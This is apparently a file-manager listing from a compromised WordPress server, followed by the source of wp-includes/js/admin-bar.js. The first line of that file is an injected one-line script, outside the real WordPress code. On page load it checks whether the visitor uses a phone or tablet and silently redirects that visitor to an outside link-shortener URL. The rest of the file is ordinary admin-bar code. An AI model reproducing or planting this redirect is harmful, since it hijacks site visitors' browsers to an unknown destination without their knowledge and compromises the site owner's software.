run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄admin-bar.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/admin-bar.js
4 */
5/**
6 * Admin bar with Vanilla JS, no external dependencies.
7 *
8 * @since 5.3.1
9 *
10 * @param {Object} document The document object.
11 * @param {Object} window The window object.
12 * @param {Object} navigator The navigator object.
13 *
14 * @return {void}
15 */
16( function( document, window, navigator ) {
17 document.addEventListener( 'DOMContentLoaded', function() {
18 var adminBar = document.getElementById( 'wpadminbar' ),
19 topMenuItems,
20 allMenuItems,
21 adminBarLogout,
22 adminBarSearchForm,
23 shortlink,
24 skipLink,
25 mobileEvent,
26 adminBarSearchInput,
27 i;
28
29 if ( ! adminBar || ! ( 'querySelectorAll' in adminBar ) ) {
30 return;
31 }
32
33 topMenuItems = adminBar.querySelectorAll( 'li.menupop' );
34 allMenuItems = adminBar.querySelectorAll( '.ab-item' );
35 adminBarLogout = document.querySelector( '#wp-admin-bar-logout a' );
36 adminBarSearchForm = document.getElementById( 'adminbarsearch' );
37 shortlink = document.getElementById( 'wp-admin-bar-get-shortlink' );
38 skipLink = adminBar.querySelector( '.screen-reader-shortcut' );
39 mobileEvent = /Mobile\/.+Safari/.test( navigator.userAgent ) ? 'touchstart' : 'click';
40
41 // Remove nojs class after the DOM is loaded.
42 removeClass( adminBar, 'nojs' );
43
44 if ( 'ontouchstart' in window ) {
45 // Remove hover class when the user touches outside the menu items.
46 document.body.addEventListener( mobileEvent, function( e ) {
47 if ( ! getClosest( e.target, 'li.menupop' ) ) {
48 removeAllHoverClass( topMenuItems );
49 }
50 } );
51
52 // Add listener for menu items to toggle hover class by touches.
53 // Remove the callback later for better performance.
54 adminBar.addEventListener( 'touchstart', function bindMobileEvents() {
55 for ( var i = 0; i < topMenuItems.length; i++ ) {
56 topMenuItems[i].addEventListener( 'click', mobileHover.bind( null, topMenuItems ) );
57 }
58
59 adminBar.removeEventListener( 'touchstart', bindMobileEvents );
60 } );
61 }
62
63 // Scroll page to top when clicking on the admin bar.
64 adminBar.addEventListener( 'click', scrollToTop );
65
66 for ( i = 0; i < topMenuItems.length; i++ ) {
67 // Adds or removes the hover class based on the hover intent.
68 window.hoverintent(
69 topMenuItems[i],
70 addClass.bind( null, topMenuItems[i], 'hover' ),
71 removeClass.bind( null, topMenuItems[i], 'hover' )
72 ).options( {
73 timeout: 180
74 } );
75
76 // Toggle hover class if the enter key is pressed.
77 topMenuItems[i].addEventListener( 'keydown', toggleHoverIfEnter );
78 }
79
80 // Remove hover class if the escape key is pressed.
81 for ( i = 0; i < allMenuItems.length; i++ ) {
82 allMenuItems[i].addEventListener( 'keydown', removeHoverIfEscape );
83 }
84
85 if ( adminBarSearchForm ) {
86 adminBarSearchInput = document.getElementById( 'adminbar-search' );
87
88 // Adds the adminbar-focused class on focus.
89 adminBarSearchInput.addEventListener( 'focus', function() {
90 addClass( adminBarSearchForm, 'adminbar-focused' );
91 } );
92
93 // Removes the adminbar-focused class on blur.
94 adminBarSearchInput.addEventListener( 'blur', function() {
95 removeClass( adminBarSearchForm, 'adminbar-focused' );
96 } );
97 }
98
99 if ( shortlink ) {
100 shortlink.addEventListener( 'click', clickShortlink );
101 }
102
103 // Prevents the toolbar from covering up content when a hash is present in the URL.
104 if ( window.location.hash ) {
105 window.scrollBy( 0, -32 );
106 }
107
108 // Clear sessionStorage on logging out.
109 if ( adminBarLogout ) {
110 adminBarLogout.addEventListener( 'click', emptySessionStorage );
111 }
112 } );
113
114 /**
115 * Remove hover class for top level menu item when escape is pressed.
116 *
117 * @since 5.3.1
118 *
119 * @param {Event} event The keydown event.
120 */
121 function removeHoverIfEscape( event ) {
122 var wrapper;
123
124 if ( event.which !== 27 ) {
125 return;
126 }
127
128 wrapper = getClosest( event.target, '.menupop' );
129
130 if ( ! wrapper ) {
131 return;
132 }
133
134 wrapper.querySelector( '.menupop > .ab-item' ).focus();
135 removeClass( wrapper, 'hover' );
136 }
137
138 /**
139 * Toggle hover class for top level menu item when enter is pressed.
140 *
141 * @since 5.3.1
142 *
143 * @param {Event} event The keydown event.
144 */
145 function toggleHoverIfEnter( event ) {
146 var wrapper;
147
148 // Follow link if pressing Ctrl and/or Shift with Enter (opening in a new tab or window).
149 if ( event.which !== 13 || event.ctrlKey || event.shiftKey ) {
150 return;
151 }
152
153 if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
154 return;
155 }
156
157 wrapper = getClosest( event.target, '.menupop' );
158
159 if ( ! wrapper ) {
160 return;
161 }
162
163 event.preventDefault();
164
165 if ( hasClass( wrapper, 'hover' ) ) {
166 removeClass( wrapper, 'hover' );
167 } else {
168 addClass( wrapper, 'hover' );
169 }
170 }
171
172 /**
173 * Toggle hover class for mobile devices.
174 *
175 * @since 5.3.1
176 *
177 * @param {NodeList} topMenuItems All menu items.
178 * @param {Event} event The click event.
179 */
180 function mobileHover( topMenuItems, event ) {
181 var wrapper;
182
183 if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
184 return;
185 }
186
187 event.preventDefault();
188
189 wrapper = getClosest( event.target, '.menupop' );
190
191 if ( ! wrapper ) {
192 return;
193 }
194
195 if ( hasClass( wrapper, 'hover' ) ) {
196 removeClass( wrapper, 'hover' );
197 } else {
198 removeAllHoverClass( topMenuItems );
199 addClass( wrapper, 'hover' );
200 }
201 }
202
203 /**
204 * Handles the click on the Shortlink link in the adminbar.
205 *
206 * @since 3.1.0
207 * @since 5.3.1 Use querySelector to clean up the function.
208 *
209 * @param {Event} event The click event.
210 * @return {boolean} Returns false to prevent default click behavior.
211 */
212 function clickShortlink( event ) {
213 var wrapper = event.target.parentNode,
214 input;
215
216 if ( wrapper ) {
217 input = wrapper.querySelector( '.shortlink-input' );
218 }
219
220 if ( ! input ) {
221 return;
222 }
223
224 // (Old) IE doesn't support preventDefault, and does support returnValue.
225 if ( event.preventDefault ) {
226 event.preventDefault();
227 }
228
229 event.returnValue = false;
230
231 addClass( wrapper, 'selected' );
232
233 input.focus();
234 input.select();
235 input.onblur = function() {
236 removeClass( wrapper, 'selected' );
237 };
238
239 return false;
240 }
241
242 /**
243 * Clear sessionStorage on logging out.
244 *
245 * @since 5.3.1
246 */
247 function emptySessionStorage() {
248 if ( 'sessionStorage' in window ) {
249 try {
250 for ( var key in sessionStorage ) {
251 if ( key.indexOf( 'wp-autosave-' ) > -1 ) {
252 sessionStorage.removeItem( key );
253 }
254 }
255 } catch ( er ) {}
256 }
257 }
258
259 /**
260 * Check if element has class.
261 *
262 * @since 5.3.1
263 *
264 * @param {HTMLElement} element The HTML element.
265 * @param {string} className The class name.
266 * @return {boolean} Whether the element has the className.
267 */
268 function hasClass( element, className ) {
269 var classNames;
270
271 if ( ! element ) {
272 return false;
273 }
274
275 if ( element.classList && element.classList.contains ) {
276 return element.classList.contains( className );
277 } else if ( element.className ) {
278 classNames = element.className.split( ' ' );
279 return classNames.indexOf( className ) > -1;
280 }
281
282 return false;
283 }
284
285 /**
286 * Add class to an element.
287 *
288 * @since 5.3.1
289 *
290 * @param {HTMLElement} element The HTML element.
291 * @param {string} className The class name.
292 */
293 function addClass( element, className ) {
294 if ( ! element ) {
295 return;
296 }
297
298 if ( element.classList && element.classList.add ) {
299 element.classList.add( className );
300 } else if ( ! hasClass( element, className ) ) {
301 if ( element.className ) {
302 element.className += ' ';
303 }
304
305 element.className += className;
306 }
307
308 var menuItemToggle = element.querySelector( 'a' );
309 if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
310 menuItemToggle.setAttribute( 'aria-expanded', 'true' );
311 }
312 }
313
314 /**
315 * Remove class from an element.
316 *
317 * @since 5.3.1
318 *
319 * @param {HTMLElement} element The HTML element.
320 * @param {string} className The class name.
321 */
322 function removeClass( element, className ) {
323 var testName,
324 classes;
325
326 if ( ! element || ! hasClass( element, className ) ) {
327 return;
328 }
329
330 if ( element.classList && element.classList.remove ) {
331 element.classList.remove( className );
332 } else {
333 testName = ' ' + className + ' ';
334 classes = ' ' + element.className + ' ';
335
336 while ( classes.indexOf( testName ) > -1 ) {
337 classes = classes.replace( testName, '' );
338 }
339
340 element.className = classes.replace( /^[\s]+|[\s]+$/g, '' );
341 }
342
343 var menuItemToggle = element.querySelector( 'a' );
344 if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
345 menuItemToggle.setAttribute( 'aria-expanded', 'false' );
346 }
347 }
348
349 /**
350 * Remove hover class for all menu items.
351 *
352 * @since 5.3.1
353 *
354 * @param {NodeList} topMenuItems All menu items.
355 */
356 function removeAllHoverClass( topMenuItems ) {
357 if ( topMenuItems && topMenuItems.length ) {
358 for ( var i = 0; i < topMenuItems.length; i++ ) {
359 removeClass( topMenuItems[i], 'hover' );
360 }
361 }
362 }
363
364 /**
365 * Scrolls to the top of the page.
366 *
367 * @since 3.4.0
368 *
369 * @param {Event} event The Click event.
370 *
371 * @return {void}
372 */
373 function scrollToTop( event ) {
374 // Only scroll when clicking on the wpadminbar, not on menus or submenus.
375 if (
376 event.target &&
377 event.target.id !== 'wpadminbar' &&
378 event.target.id !== 'wp-admin-bar-top-secondary'
379 ) {
380 return;
381 }
382
383 try {
384 window.scrollTo( {
385 top: -32,
386 left: 0,
387 behavior: 'smooth'
388 } );
389 } catch ( er ) {
390 window.scrollTo( 0, -32 );
391 }
392 }
393
394 /**
395 * Get closest Element.
396 *
397 * @since 5.3.1
398 *
399 * @param {HTMLElement} el Element to get parent.
400 * @param {string} selector CSS selector to match.
401 */
402 function getClosest( el, selector ) {
403 if ( ! window.Element.prototype.matches ) {
404 // Polyfill from https://developer.mozilla.org/en-US/docs/Web/API/Element/matches.
405 window.Element.prototype.matches =
406 window.Element.prototype.matchesSelector ||
407 window.Element.prototype.mozMatchesSelector ||
408 window.Element.prototype.msMatchesSelector ||
409 window.Element.prototype.oMatchesSelector ||
410 window.Element.prototype.webkitMatchesSelector ||
411 function( s ) {
412 var matches = ( this.document || this.ownerDocument ).querySelectorAll( s ),
413 i = matches.length;
414
415 while ( --i >= 0 && matches.item( i ) !== this ) { }
416
417 return i > -1;
418 };
419 }
420
421 // Get the closest matching elent.
422 for ( ; el && el !== document; el = el.parentNode ) {
423 if ( el.matches( selector ) ) {
424 return el;
425 }
426 }
427
428 return null;
429 }
430
431} )( document, window, navigator );
432